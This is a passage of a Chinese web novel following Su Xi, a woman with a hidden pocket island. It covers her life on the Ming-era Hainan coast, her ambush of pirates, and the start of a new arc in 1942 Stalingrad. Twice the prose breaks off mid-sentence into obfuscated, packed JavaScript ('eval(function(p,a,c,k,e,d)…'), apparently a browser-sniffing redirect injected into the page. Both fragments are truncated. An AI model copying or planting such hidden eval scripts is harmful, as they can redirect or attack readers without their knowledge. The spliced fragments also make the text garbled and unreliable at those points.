等解决掉麻烦回到岛上,俩贼都带了短刀,持械劫匪杀无赦。可惜他们身上的战利品不多,才几两银子和百来文钱,倒是刀不错,很可能本地卫所弄出来的,有钱也不一定买得到,收下来作一次性武.器都行,还能嫁祸。 第二天,她驾船继续南下。 路过一个滨海红树林,有人在那里砍树。 苏茜犹豫了会儿,拿出望远镜观察到有著名的挂在树上的那种种子,停下船像是要钓鱼的样子——也确实钓到条鱼。等砍树的人走后,她在天黑前在红树林里摘了一大把树上的种子。 苏茜完全不懂怎么种红树林。她在岛上去找了块有泥土、经常被海水淹没的地方,将种子塞进土里——她的海退涨潮时间跟外面的不太一样。 不知道能种出来几棵树?或是一棵都种不出来。 * * * 小船继续南下,农历十一月底,之前冬天的气息彻底消失。阳光灿烂、气温摄氏二十五度,偶然来一阵雨,雨后的天空会分外晴朗。 除了绿色太少,没有任何其他缺点了。苏茜慢吞吞地划船,连吃饭喝茶都在船上,偶有路过的船只也不存在打招呼——各人都知道认得人家的船是什么样,对面那个衣服看着不错甚至还戴着奇怪大草帽的家伙不认识、船的样式也奇怪,自然不会来主动搭讪。 要不是考虑到用火安全和修炼问题,她不想回到只有九度还下雨的岛上。战利品里有件狼皮披风,不能跟貂皮比保暖也不柔软更不好看,但是长及踝的款式非常适合在温差大的地方之间切换。 酱料蔬菜海鲜饭底下的锅巴非常好吃,再配合鸡汤就是好吃两个字。食材新鲜、酱料齐全,就是砂锅难洗,而且在现有条件下几乎是不可能洗干净。但苏茜无所谓,这些厨具就是这样,隔几天用海水煮煮,实在不行就扔。她有得是买普通砂锅的银钱,每回都是买半打。 入夜,岛上室外已经只有摄氏五度,湿度百分之七十多。没下雨,但冷风很不舒适。 唯一让人愉快的是肉类和蔬菜水果可以放在室外几天不坏。 温暖干燥的室内修炼了两个小时再睡觉。 早上,醒得晚了,干脆将前天又跑上岸买的猪蹄膀炖了,边上煮粥,然后练武去。练完简单吃个海鲜青菜粥,做一批甜口的烤饼,再修炼。到下午蹄髈熟烂可以吃。这一天都在做菜、修炼和练武,傍晚简单洗洗两天的衣服,到天亮前晾到外面的船上等着晒太阳。 只除了隔几天得上岸采购一回,苏茜享受了三个月温暖宜人的冬天。 因为不再赶路,她甚至开始学习书法! “据说”,书法都是从临摹开始的。所以她买了一堆看起来顺眼的字帖和文房四宝,尤其是写字的纸买得比手纸还多。 然后她发现了,原来哈,学书法是从结构开始。 最有用的字帖其实是印刷的宋体字。一是字多,二是结构得到大部分人认可,三是不会体现个人特征。 另外,不得不承认,字帖上不少字她不会读!不知道意思!有时候每个字分开她认得,合在一起压根不清楚在讲啥。好在自己买的本地注解版“蒙书”,虽然还是有不太认得的文字,但比字帖好多了。尤其是这不还有小说话本戏文,就是现在没有牡丹亭之类,亦或者只是她没买到。 唐诗三百首里,一多半作品有至少一个她不认识的生字!甚至还有名字和里面的文字都有不认得的,更不要说天书一般没有标点符号的繁体楚辞,她看着就跟看莎草纸上的希语手抄经文一样。幸好自己翻开一看立马还回去,不然纯属浪费钱。 早年的诗词收藏早就成了垃圾扔掉了,记忆里也只有耳熟能详的那些经典,所以她连猜带蒙的只能先抄了再说。等抄了半年,发现其实如果从《千字文》开始会省一点点力,因为注解她勉强看得懂! 天气很热,却也没有天天热到三十八度。 也许近海风大的关系。 呃,风似乎太大了?而且天有些阴沉。苏茜觉得不对,自己的船快翻了!即使手头没有测风力的机械,她也想起来有热带风暴这回事,果断收起只有几条杂鱼的网,收船回去,享受自家白天中午“仅有”三十一度的小岛。最重要的是,岛上夜里二十五度以下,外面三十,所以夏夜里她肯定是回岛上的。 岛上种植箱里的蔬菜因为用了腐殖土、厨余绿肥加得多且夜间加盖避免过多雨水而长得不错。平时买生鲜的时候她会多花几文钱买下半筐卖不掉的枯烂菜叶,一吊钱买下一整棵带了树叶的小杂树,时不时还挖些山坡上的土以及偷砍些不成材的树。 弄一把菜,将剩下的半只半大鸡拿出来焯水,然后跟米、菜一起煮。一个人吃饭、没有女仆的时候,真的不想讲究什么,更不想浪费时间在烹饪上。她要把晚上当凉被盖的被套和床单枕巾还有昨天和今天汗湿的衣服都手洗然后晾干,洗衣机烘干机只要等待俩小时,纯手工光体力活就要俩小时。 洗衣机和烘干机好像是很久之前的事了,再早的时候她还有过发电机呢,但太过久远,连痕迹都找不到,彻底变成垃圾的集装箱房子也都通过空间转移的规则扔自家的垃圾海滩去了。出于某种掩耳盗铃的心理,她从不去那个方向捕鱼。 除非是现杀的猪,苏茜不会在平均气温二十度以上的时间买猪肉,一般都是买现成的家禽让摊主现杀拔毛,连鸡蛋买得都不多,因为卖主都是攒一段时间拿来卖,谁也不知道哪个蛋放了多久有些变质。所以有时她会一天吃一只鸡,其余都是吃鱼或鱼干。 没有乳制品,有也不敢买,谁知道放了多少天。 总体上,除了“觉醒”后的那一天,她没再挨过饿。早年虚弱的身体现在被调理得挺好,尤其是这个身体更适应这里的气候和饮食,不会晕船,吃红薯土豆不烧心,更不会海鲜过敏——可难保不会乳糖不耐受。经期问题在饮食、药茶和修炼、练武的联合作用下规律且不再痛经,哪怕腿脚浸在自家冬天的冰冷海水里,只要时间不太长也没事,更不用说南海的海水。 两天后的午后出岛,又恢复了风和日丽,但居然热到三十九度! 这热得不太对劲啊? 回去!回去“享受”我的二十五到三十一度。 即使只吃海藻饼,也比在水面上晒死强。 岛上傍晚的时候,苏茜出来。她现在的方向是远离崖州偏北向东,路上无船。风力大概五级,不适合海钓,但撒了渔网然后扯开风帆也比较省力——谁家像她这样捕鱼会破产的,不过她不交人头税、渔税、田税、船税也不服役,确切的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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连鱼市和镇上集市的价格也没有多少变化,因为不可能有平民为了看热闹走上好几天,只有个别遭灾的过来投奔亲戚,才将那边的情况告知——但与房子一起沉入海底的村民不可能有活着走到这一带的,所以听到的消息也就是地动,房屋倒塌有人死了。竹楼草棚倒了伤得多死得少,何况现在很多人睡房顶或是院子里,倒是年久失修的砖瓦房倒了才麻烦。 苏茜买了柴,买了鸡,还有持续性买的种子,然后去二十公里外的“附近”山林找绿肥和木头。谁让这方圆百里的树木都是有主的,连柴禾都是主家让雇农家的大孩子去砍的。所以苏茜背着背篓走在无遮无挡的官道上——还无法回岛,因为时不时有人经过,只能像是找野地方便似的离开官道走下去半里地,才有略荒的地方。 为了不被蚊子叮出传染病,她长裙布鞋加布袜绸裤,快中暑了。 回岛上煮了温热的草药凉茶,再烧个鸡饭,吃喝完修炼,睡觉。晚上继续走。这山算是比较大的小山,无主,也没有山民,理论上属于官府的地产,但没有猎物、没有药材、没有木材,最重要的是没有泉水,所以没有富人别院,连庙观都没有。只有稀稀落落的杂树杂草灌木和虫豸。哦,蛇大概都被吃掉了,所以没有蛇。 苏茜避开几个樵夫,换上“古老”的木鞋,去没有小道的接近山顶处扫枯枝败叶,挖泥,砍树。干了两天才下山。 第四天才走到一个比较大的集镇。这里可能更接近港口和治所,所以方言容易讲些。 “老伯,这两种木头鞋子各做五双——用整块轻些的木头做。” “这是,鞋子?”实际四十可能都不到的老木匠看着“样品”发愣。 “是鞋子,踩在泥水地里不会被蚂蟥和蛇虫咬。抓到鱼还能放在鞋里带回家。” “哈哈,这个主意不错。”抓鱼放里头的说法逗乐了老头,确认木料和大小,收下定金,约好五天后来取。“阿妹啊,那边遭了灾,你可以背些吃的过去卖,也别卖高价,这也算是救人命。” “好,我知道,多谢。”她新买了一批糯米、粳米和米粉,还有偏贵的小麦面粉,正打算找机会出清几十公斤的陈粮呢。 * * * “就这些了。你给我烧鱼的酱料,蔬菜水果、种子,都行。”这村子受灾严重。不过说实话,平民房子压根不值钱,所以伤亡不算严重。砖瓦房的聚居区的人和财才叫惨重,可他们抗灾害的能力仍然远超这些全家只有当家男人有一身好些衣服的穷人。苏茜交易的对象也是这些人,大家用酱料布头渔网之类换一点陈粮。 “……我自己做的砂酱能不能换?” “怎么做的啊?” “就是捞上来壳肉腌的。” “行。” “多谢!多谢!”妇人高兴得快哭了。用不是必需品的东西换这点口粮实在是太划算了。 最后三四公斤陈米,换了一罐酱、连罐的那种。她的易物价格很其实是亏了,比她买来时便宜一半还多,因为交易的物品本身并不值多少钱,只是她需要费力收集罢了。 按本地度量衡八十多斤在村口就全换走了。苏茜推着独轮推车来,最后将推车都换掉了,背了一个不轻的背篓走人。 不过在有人追上她之前就在官道半里处砍了两棵树,回岛上吃喝整理。 树木的用处太大了,干燥后能做饭烧水取暖,炉灰和燃烧后的灰烬都翻到岛上土壤和种植箱里。有调味料的剩余吃食没做肥料,全扔海里。 唯一不好的就是岛上湿度大,即使放在炉灶边也要好几个月才算基本干燥而不大量冒烟。 …… 秋了,晚上以苏茜现在的体质得穿夹衣。跟南部相比,岛北部有比较明显的四季,而且偏阴沉湿冷,有点像她自己的小岛。 然后她就见到,或者说是摸到“传说中”的水下贞节牌坊。反正牌坊所“表彰”其实也是镇压的主人已经过世,看不到这情景了。 没多停留,她返回去拿自己的鞋子。 走到老匠人铺子前正好是第五天。付掉尾款,将木鞋放进背篓,顺便又买了些制作工具,走人。 三天后,她一身汉黎杂居渔村妇人的发型、头巾和衣裙,特意绕路走过正敲锣发告示的城门——城里进不去,也没必要进去——矿税正式撤销,而且定居的黎人家庭如果有当兵可以减大部分税和役。 苏茜对历史真的不熟。她印象里这个时期一直到新的朝代建立后的几十年里混乱且悲惨。翻通史似乎“只有”地震一件。可百姓的日子在史书里半个偏旁都不会有,除非搞出来什么大事或是死了五位数以上——还得会写文字的人替他们写出来、报上去或传出去。矿税,似乎有印象,是太监指个地方说这里有矿、交税,交不出来就全族完蛋。事实如何她不清楚,不过肯定有很多中等甚至中上阶层家破人亡的事情发生,才会被诟病。 大部分人都是麻木地活着、活一天算一天,也有很多衣着没补丁的人在那里大声叫好,甚至还有俩穿长衫的青年在比划着这是多么了不起的事并且痛骂矿税监。 苏茜听了很多,才将方言的矿税监与矿税、太监联系到一起。顺便提一下,太监一词她能说出五种明显不同的周边方言——不算往北的若干种,更不提外国方言。 啊,外国方言。 她回岛上就开始翻出来上辈子收集的各种语言书籍,练练舌头,别把“家乡话”全忘光。也不知道下辈子还用不用得到这些语言,下下辈子这些书还能不能翻看……反正港城时代早期的书已经变成垃圾烧了,后期的装铁箱保存才免了不到百年就成为碎屑的命运。 而,这个时代自己能做什么呢?学些什么或是留下什么呢? 茫然走了半天,集上买了点吃的,结果,拉肚子!幸好没有持续性腹泻,不然可能去掉半条命。 31.疍民没饭吃(五) 第二天,苏茜匆匆忙忙赶往镇子,找到家药铺,给了坐堂大夫二两银,才得到五张方子,买了二十多种常用药材各一大包以及药罐子和小泥炉,备着。若非药铺里没什么值钱的药材,那个大夫也不算奸猾,这家店甚至能敲走她好一整块银砖。 即使“算便宜”,她花出去的银子仍可以买一个人吃四年的粳米——如果换成饥荒年月,大概连四个月都不到,不过按上辈子银币换算的话只够买吃不到两年的面粉,而买药的话搞不好就是十来瓶“治百病”的鸦.片.酊。 所以,她这是买便宜了?但四百年后,她花一把铜钱的购买力就能买瓶黄连素加蒙脱石散搞定绝大部分腹泻问题,除非是其他疾病导致的。不,谁卖变质食品,她立马投诉。呃,货币物价和年代错乱了。要是修士时代,自己根本不会腹泻! 出镇,正巧远远一队士兵路过。好在现在天气凉快了,不然穿这一身再训练,搞不好就是这个年代治不了的热射病。 苏茜远远听到脚步声就在观察,于是第一个跑出官道躲到灌木丛后。几个路人不久之后也都避让开。七八十个士兵步行过去,高矮瘦壮瘦都有,有些洗褪色的军服都是不怎么合身的单层长袖长裤,脚上布鞋草鞋就是没人穿靴子——也许是气候的关系——打着旗帜,要不是配有兵器,从背后看还以为是中学生变装出游。想起来之前抗倭的那些士兵,装备一样差甚至可以说更破烂,但精气神完全不同。那是生死锤炼出来的气质,扛不过去的人都死了。 “听说北边要打仗,到处调兵呢。” “南边也要兵的!北边?我们的兵过去能打吗?听说北边冬天冰天雪地。我这辈子都没见过下雪呢!真想看看。” “行了,没有棉衣要冻死的。” “……” “……” 三个挑担小商贩边聊边走远。还有个推车的行人艰难地将车拉上官道靠着一棵歪脖树,然后把之前搬下车的东西都放上去,最后才推着走。 苏茜则是将货物都放到岛上,轻装徒步,半里路就越过了这些人往前走。现在她已经画了全岛的一半左右的大概地图,尤其是山林、集镇、港口、船坞和其他有价值的地点,跟手里的现代简易地图完全不是一回事,比例方位也有些失真,但确确实实是重要参考。手里已经破烂不堪的世界地图是好不容易保存下来的“古董”,最多到县郡级和知名大型岛屿,很多太小的地点都来自她的记忆而非地图标注。 这边的山几百年后是作为景区的,即使她曾来过也找不到路,因为山里本没有路,更没有商店和民宿。在晃了两天热得半死、在脸上拍死好几只大蚊子后,她不得不悻悻地回海岸方向。秋天的蚊虫太不像话了! “新鲜的,都是今早捕的!” “便宜卖啦!便宜!” 近午是渔船回来的高峰期——木帆船、手划船速度慢,上午赶不回来,而且搞不好交税都要排队。所以不少渔家妇人提了小篮子来小集子卖,虽然少了税,但买的人也少。 苏茜看了下,确实是半天左右的渔获,干脆一篮子都买下,再买一篮虫啃圆菜和足足一斤晒干的老姜还有别的调味料,在靠近海边的地方回岛。蒸饭捡菜,不高兴冒着凉飕飕的秋雨舀海水,因此直接用海盐加姜、本地山葱和米酒,将买来的一篮子杂鱼虾先煎后炖,味道还不错,虽然比不上现捞起的活海鲜立刻扔进煮开海水里的新鲜微甜口感。 本地城镇卖的精盐很不便宜,但沿海人家往往直接用海水煮熟鱼和菜,其他穷人则常用便宜的粗制私海盐,苏茜即使能制盐也懒得卖那么便宜。 岛上傍晚时温度已经降到摄氏十四度,白天没超过二十度,阵风大概四级,标准深秋。对比海边,现在“才”二十三度,所以冬季的琼岛偏南部是很舒服的。 要不以后冬天都睡在海上的船舱里?就是偶然可能碰到船被掀翻的情况——她已经被掀翻过一次了,亏得那一回船上没有放任何有价值的东西,自己更没有在睡梦中被溺亡。 最后纠结的结果,还是住在岛上,有大片地方可以修炼和练武还没有任何危险。热身后冲进凉寒风雨里练武也是一种锻炼。 何况,湿冷的冬天住在有暖炉的室内其实还是挺舒服的。 远远的,一队船队出发远行。 苏茜在船上煮着鱼鲜,岛上蒸着米饭,几个种植箱在甲板上晒太阳,同时晾干半长头发。洗头后在外面晾干既不会感冒也不浪费木头。就是种植箱里的蔬菜不少开始受不了岛上的寒冷。其他能撑住摄氏五六度“低温”的蔬菜品种在夜间都放在山洞里,常年有烧木头的暖炉在旁稍微加点温度。 蔬菜、草药和其他肉类就是苏茜目前不想远离陆地的原因,不然她早就跑南海上生活,据说那里常年二十五度还湿度适中,也不知道真的假的。如果有小岛肯定土壤贫瘠无法种植甚至压根没有什么土;而岛屿大的话可能有居民,同样是麻烦。还不如目前就按照这方式生活,反正算算年代,改朝换代的时候这个身体也差不多到寿命了。 …… 新长裙用的是黎人织的布料,裙边图案是黎女特有,但样式则是汉家的,配上系绳斗笠和定制木底鞋,打扮奇怪但又十分实用,尤其走是湿泥路上。 苏茜背着新一季的蔬菜种子,岛上木屋到山洞之间堆满树木枝叶和腐殖质泥,手里两个藤制箱子,甩掉各种眼光,“回”到海边的海蚀小山地,然后从陆地上看不到的角度放出自己的手划带篷小船,离开陆地。 春夏的风向不对还经常变化,所以她没用帆船。 离得远了,看看天色,感觉下风向还测了湿度,打算碰碰运气下网捞鱼。 在太阳落下海平面前一刻,她突然发现远处,很远处,似乎有船队?商船队?要不自己避开,省得跟前年一样差点被大船掀起的浪头打翻。她回去拿了望远镜,在找渔村新定做的船篷边缘看过去。 嗯? 那个有些熟悉的风格,难道是海寇?联想到自己绕道的小城,她眯起眼,没动,静静等着船队靠近。再近些。 天黑了,那个船队与她相隔起码一海里地过去,而且越来越远。 她开始划着小船跟上,不,是原路返回。因为她不管用哪条小船都跟不上船队的速度。 …… 今夜月色如水,星光灿烂。加上洋流方向正好给力,苏茜举木仓的时候,奇怪装束的海寇们正在陆陆续续从小艇上跳下海滩登岸。 这里附近似乎有个渔村? 第一声木仓响的时候,无人伤亡,甚至没有引起注意。 但第二声有人受伤后就不一样了。 后装弹线膛木仓的射程、精确度和效率不是这个时代的火铳能比的。 苏茜打伤了七八个海寇,引来上百号追兵才回岛。 衣服泡了随便洗洗,挂在木屋里,然后睡觉。 第二天,苏茜修炼练武做吃的,接着是洗床品三件套。傍晚才出来看情况。 肉眼以内没人。望远镜一点点找,找到了小船、船上有人,还有海寇大船——大船要接人走不是,所以还在呢! 苏茜算了算距离。这个距离划船会被看见,游泳则是到了那儿肯定体力不支……先回岛上先准备材料。能看到的是两艘大船,其他地方还有,所以一艘火攻,一艘烧了帆?但考虑到材质和工具,即使她今年用一艘手划小船换来好几桶灯油和桐油——本来是想自己造个防雨棚的——距离燃烧.弹也得有一个光年的距离。 对付大船,要么用火船,要么爬上船到处倒油再点燃。第三种法子就是把小船上的人干掉将小船都收走,让海寇一时回不去干着急,或者永远留在岸上。 最后苏茜选了第三种。 小船距离近,好对付。 入夜后她就开始行动。谢天谢地今晚是阴天,没月光,视线很差。她在半夜前游到小船边,先将没人的船统统收走,然后拿自己天天练的长剑,出其不意砍了三个,几乎无声地收走三条小船。之后的守卫有两个是用之前军营里给的弓箭,剩下的三个被惊动跑来的护卫都是面对面砍的。 一对三,敌人一死二伤。受伤的一个是用飞刀干掉的,最后一个跳海里找不到了。 苏茜没多耽搁,收了船立刻回岛。 从头到尾,她都穿着高价买来的鱼皮水靠,脸上也是头套,半个音节都不发出,加上平板的身材……即使那逃走的能活命也认不出她。 那么多船啊!虽然不能卖了引起人怀疑,但未来几十年总能用上,不行还可以直接当成大型种植箱! 苏茜最终选了三条平底小船,弄出三个大型种植箱。其他的继续搁浅。 两天后她一身裙装,包了头巾,划着小船找到附近渔民码头。 然后就被塞了一张白条,船被征用了! “这是?” “这位大娘,我们需要船追海寇。”一名年轻士兵匆匆解释了一句,集合了四个人就跳上船走了。 其他士兵则是示意她离远点。 白条上,语焉不详地说如果船一年内还不回来就给银十两。没说一年内怎么还,也没写明一年后找哪个卫所要银子!没用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎八两半买个身份不算特别宰人,就苏茜看来包括自己有三单生意。对了,这船是去哪的啊?要不是实在不想自己划船,而且是近海航线,她是不会坐这类不靠谱的“古代”海船的。 半个月后,苏茜拿着文牒路引上船后才知道,船资这么贵,主要是目的地挺远的:淞江。 自己干嘛不问清楚只买到广城啊?!哦,这年月的广城冬天搞不好会下雪的。 要不是现在是初秋,只有薄棉衣的她根本不会兴起问船的事。 行吧,就当二十多两高价买了个身份。她躺在包下的小舱室里,内部是两个小铺,正常睡俩,加上凳子箱子改为通铺最多可以挤四个人,所以她付了两份船资十好几两银,只提供喝的淡水不包饭。 这种糟糕的条件反而对苏茜有利,喝的水是自取的,也就是关上门可以万事不理。所以她关上了门直接回岛,舱室里夸张地连行李都没有。 这个航程最短半个月,最长都说不好。所以苏茜每两天会出一趟舱室,用自己的小锅装一锅清水回去,顺便问下到哪里了。 除了中间躲避风暴差点颠覆外,船花了足足二十天才到淞江。 这个时代的海城啊,也就是个小县城。 苏茜觉得自己是不想浪费船资才一路跟到这里。但反过来想,这个三角洲从唐国之后始终是最发达的地方,广城只有一个城,而这里繁华的市镇密布,“黑户”哪哪都能待。 哦,自己不再是黑户的,是回乡的。 扼腕啊扼腕,当时怎么不说自己是广城人,这样可以一直待在还算暖和的南方了。 江南的湿冷她可是非常清楚的,加之小冰河期的威力……穿着薄棉衣,苏茜下船第一件事就是买棉衣,厚薄棉花的、丝棉的,衣裤裙袄都要,主打一个要温度不要风度。 不过棉裤用的是裙下有裆阔腿裤的样式,腰带定做了抽绳式,长长的裤腰带、束脚肥裤加一双小脚的造型实在太辣眼睛了。 等两家裁缝铺做好完全没有剪裁样式可言的衣服后,苏茜已经买齐了各种厚度的棉被垫被,还找了第三家布料店买了棉布自己缝制好了被套——不是不舍得让人做,而是没人理解她要干嘛。 然后,她就找到了“回”淞江的意义:螃蟹!大闸蟹啊! 日啖荔枝三百,夜吃螃蟹三只,都是人间至美。尤其是仪式感十足的蟹八件,一个个用过去,一只蟹配温黄酒吃半小时,再加一小碗米饭和一份炒蔬菜,完美。 32.我和我的城(一) “他们打到伏罗希洛夫了!该死的德国人!该死的罗马尼亚人!该死的!”邻居瓦列里大叔光着膀子边挖战壕边小声咒骂着。不是他不想大骂,而是不想浪费力气。 大家都想过逃出这个可能成为战场的地方,可是去哪里呢?听说北边、东边、南边都是战场,而西边直接是敌占区了!报纸上刊登的女孩子血液流干后的残缺尸.体照片让他都不敢将报纸拿回家给女儿们看,听说这照片是被用来震慑德占区民众的。但己方报纸登出来是为了同仇敌忾。 “我倒是希望他们来,这样就能分到一支木仓。”用筐搬土的苏茜力气大得一点不像是十几岁的女孩子,更像个女战士。身体本来就属于比较有力量的类型,“觉醒”后更加拼命。1942年夏季的伏尔加格勒,哪怕是个棒槌也知道性命堪忧。不认真练功夫是会死的。 “宝贝,你爷爷和爸爸都阵亡了,他们是英雄,你不要太过……努力。”这样很难嫁出去的好不好。连他自己也不乐意女儿摸木仓,女孩子漂漂亮亮、开开心心的就行。 但战争不会让女孩子们漂亮开心。 “我参加过女子射击训练营。”她是参加过,但是在“觉醒”前,效果可想而知,纯粹是小姑娘好玩,静态二十五米左右距离的八环都没上过,是垫底的那一拨。 “哦,对了,苏珊娜,你妈妈呢?我今年都没见过路德米娜几次。”按说他家住一楼,碰到的机会更多。 “你知道她的新男朋友吧?一个军医官?”想翻白眼。所以苏茜顺从心意翻了个大大的白眼,那家伙一看就是嘴巴花花,从女人们身上找好处的玩意,真不知道老妈看上对方什么。 “……哦!”说实话,鳏夫大叔本来对寡妇路德米娜也是有点想法的,当初只是犹豫这么个长相不出挑的到底值不值得花心思追求,现在也不用想了。 “她去当护士了。我让他们带上弟弟,他也快十四了,可以做不少活。”实际上小弟是当做预备役被母亲带在身边的。他因为小时候生肺病的关系,长得瘦小、体质也差,一直达不到入伍的标准,但以后兵员短缺的时候,这点年龄上的问题不是障碍。现在的战争也不是百年前哪般需要身强力壮。 “这几个月都是你一个人在家?!”大叔惊呆了!这姑娘还不到十六吧?路德米娜在想什么! “我还要上学。”苏茜一身男孩子的打扮不说,回答的话也文不对题。问题是,现在学校放假,目测以后也不用上了,直到战争结束。东线战场的伏尔加城,再过几天,或者十几天,几个月,这个城市除了废墟和尸.体,什么都不会剩下!编年史里说这场东线、或者说人类史最惨烈战役是7月17开始,历史199天,死亡200万,然后就没有了!没有了!具体一个个鲜活的人是如何死去的、如何活下来的,提都没人提。 所以,自己如果一直躲在岛上,是可以熬过去的,是吧。她一个哥萨克与犹太人的后代,也不需要太过焦虑啥,总之自己的血统在这个国家不是那么受欢迎便是。从血统习惯上说,浅色头发、浅色眼眸的她算是犹太人——说出去真没人信,她祖父就是浅色头发棕色眼睛了,父亲的眼睛偏绿,她直接是偏金色,她妈妈则是深色头发浅色眼眸。所以,她那个不靠谱的恋爱脑老妈路德米娜为什么给她取个这样一个既不哥萨克也不斯拉夫的名字,而老爸也不改正?!不过说起来,哥萨克其实包括了很多民族甚至还有德意志……也许那个时候路德米娜正对着一个德裔帅哥发呆,然后随口取的名。 苏茜送完一趟土,瓦列里大叔低声道,“你这样太危险了。早点想办法离开吧。” 苏茜摇头,“我无处可去,路德米娜其实不喜欢爸爸和我……我们爷俩是哥萨克,哥萨克不怕打仗,不怕死!”其实这说的是哥萨克男人。她弟弟……一边去,不谈。 “唉……”这世道,女孩子都是这样被逼成男人婆的。 “大叔,你家地窖挖好了吗?” “我们几个邻居一起做了一个小的防空洞,你记得也来。” “没事,我一个人跑得快,而且我在面包店免费打零工,我看中那边的地下室挺结实的。”主要是看中那里的面粉和其他食材,挨饿的滋味太不好受了,她受不了天天吃鱼干海带汤,尽管这辈子的自己没有海鲜过敏,即便没什么好调理也依旧挺喜欢那种微腥无刺的口感。于是在觉醒后,第一件事就是花掉所有“积蓄”买盐糖之外的去腥调料,尤其是便宜款的伏特加。 “可那不是防空洞吧?” “那里有吃的。大叔,如果很糟糕的话,别管什么,先管好自己。多带衣服、靴子,水,还有硬麦面包,谁知道会打多久。”她也不知道能否撑过199天,不行就勇敢地迎上炸.弹……才怪!再有海鲜和海带,没有碳水、没有维生素、没有药物,自己还是会早早完蛋的啊! “你说,这战壕……” “总有作用吧,陷住坦克几秒钟,也能扔个反坦克手雷。”学校里有兴趣班,她多少了解些。 “我听说……”反坦克武.器都是战士们冲上去攀住坦克引爆的……当钟表修理工的瓦列里哽了片刻,他侄子是坦克兵,阵亡了。“你有手表吗?厚毯子够吗?面粉够吗?” “其他都有,手表,有没有无所谓。太清楚时间会加重忧虑的。”她打算撬大叔工作地点的门,但这不能说哈。毯子面粉都不够,只是她花了十几天时间全部踩好点了,包括中央百货大楼的柜台、仓库和厕所的位置。她只记得有个德国将军战役结束后就是在百货大楼地下室被俘的,那里应该没有受多大伤害,但更具体的就不知道了。这场战争里的事情太多太多,而她的这座城市是其中最惨的,比当年的渝城惨得多,也比当年的金陵有血性得多,绝没有麻木地被虐杀的,侵略者、守卫者乃至城市平民都死得差不多了…… 瓦列里无声叹息。想跑,无处可去。就这样吧!但愿能活到战后,其他的就交给上帝了。 干到天黑时已经晚上七点多了,温度明显变凉。光胳膊光腿的人们虽然都标榜俄国人不怕冷,但也加快脚步回家,感冒了可不好玩。 药房也在苏茜踩点的清单里,但那里已经军管,所以她决定明天先去正常购买。还有棉靴,去年的靴子已经嫌小了,肯定要买大两号,搞不好要撑到三年后,要不大两号和三号的都各买两双,再加上常见药和速溶咖啡,大概就能将家里所有的卢布都花完了。其他物资,必须在成为废墟前准备好。她上辈子存放的东西,有些还能用,有些确实不行了。至于贵金属,可能得四十年后才能动用来改善生活。 入夜,苏茜披上外套,带上可以吃三天的两整条面包,还在营业的店铺就都打烊了。酒店和百货大楼开始限时营业,水电还正常,煤气则不太正常。 苏茜步行去城北的林地砍树。她没多少钱,体质体能倒还行,而且这个年纪和性别,即使碰到巡逻士兵看到她偷砍树也不会多说什么。话说她拖回来的只有一棵不算粗壮的树,其他都在岛上。第二天晚上继续砍,这回还有个战士帮她拖回家——才一棵不成材的“小”树,真不是什么事。 “谢谢您!”苏茜摸出一小瓶酒给对方。 “没事,谢了。多保重。” 谁都不知道对方能活多久,但过一天是一天。 路过冰淇淋售货亭时,苏茜多看了几眼,还伸手晃了晃:这好像是做好的木板房,然后运来放着的,可以收走! 附近的杂货店贴出告示,明天起不营业,一时间店里的东西被抢购一空。 “苏珊娜,我们还会营业下去的。人民需要吃面包。”经理对着苏茜喃喃道,“只要面粉够,我就会一直做下去!直到……”直到我死。 “好,一直做下去!”苏茜也给自己打气。百货大楼也快了。他们的货品多,很多都不是必需品,不会卖光的。所以自己的机会很快。面包店做完,去战壕帮忙,然后回家。苏茜的一天看上去极其繁重。 实际上她的劳动量是翻倍的。 树是不砍了,她开始蹲守关门歇业的店。 第一个就是大叔工作的钟表店修理。撬门工具都是上辈子的,虽然生锈,但还能凑合用。只是吧,里面基本都是零件,没有钱——有也没用——完整能走的钟表很少。苏茜只摸出来两块能运行的手表和一个老旧时钟,不得不将锁头原样挂好。估计这店不会有人也跑来搜索物资什么的。 接着就是罐头食品,以及各种能储存的食品。但是食品店仍然非常敬业地继续开着,她不能摸进去;杂货店里的罐头大部分都卖光了。她好容易找到一家歇业但似乎还有点货放在架子上生灰的店。摸进去找,除了架子上卖不出去的几样腌豆,其他都没了。点上蜡烛摸下仓库,却发现只有一些大件无法搬动的东西,可以吃的都没了。看来很多人还是想着自己的。 她将三年内能用到的东西包括橱柜全部收下——可惜没有蔬果奶制品这样的“热门”货——出来时差点被巡逻队碰上。躲到岛上后,计算了下路线,干脆抱着两条床单出岛,大大方方去河边清洗。 士兵们见是个晚上出来洗床单的小姑娘,只是温和地让她注意安全别落水就走了。 所以,高尚的军人都死在伏尔加格勒了吗? 她望着那一队战士的背影,觉得脸颊发凉。也许这是前后千年的时光里,唯一一次为不认识的人流泪。 * * * “明天的黄油都不够了,牛奶也不不一定有货……我听到了轰.炸机的声音,真的……同志们,我不去地下室,我就在这里。”快五十岁的经理布拉莫夫看着仅剩下的三个员工。“你们都回家吧,找不到防空洞就在这里的地下室也好。”多活一天是一天。 除了苏茜,其他两名男员工并不留下,而是各自分着扛了几袋面粉回家与家人一起硬扛。 “苏珊娜?” “家里就我一个人。算了,我们关门吧,然后我去商店里看看。” 商店?现在还有开门的商店?布拉莫夫看看这个跑来做白工蹭饭吃的小姑娘,不打算深究了。兴许自己明天就死了,还在意那么多干嘛。 大家都扛了不少食材回家,包括苏茜,她将黄油、奶酪等好东西让给其他老员工,只扛了一袋全麦面粉和一大包酵母粉,以及不少果干和坚果,在一个没人的角落塞进岛上。面粉只够几个月的碳水,食材仍然不够,回头得再来拿。 路上的冰淇淋售货亭还在麻木地营业着。但是售货员对偶然来买冰淇淋的孩子说:回家吧,明天开始不营业。 物资出现问题是应该的事。平民不是很清楚前线的战况,报纸也断断续续的,不过有一条最高命令已经广而告之、人人知晓,还刷在很多的墙上。 “绝不后退一步” 因为无处可退。 有“门路”的居民都走了,留下的是在大后方比如西伯利亚没有任何亲戚可以投靠,更没有后方安全地点工作岗位的人。另外,政府职员更没得跑,跑了就是死刑。 可大家手里仍然没有分发木仓支。 没有武.器怎么保家卫国? 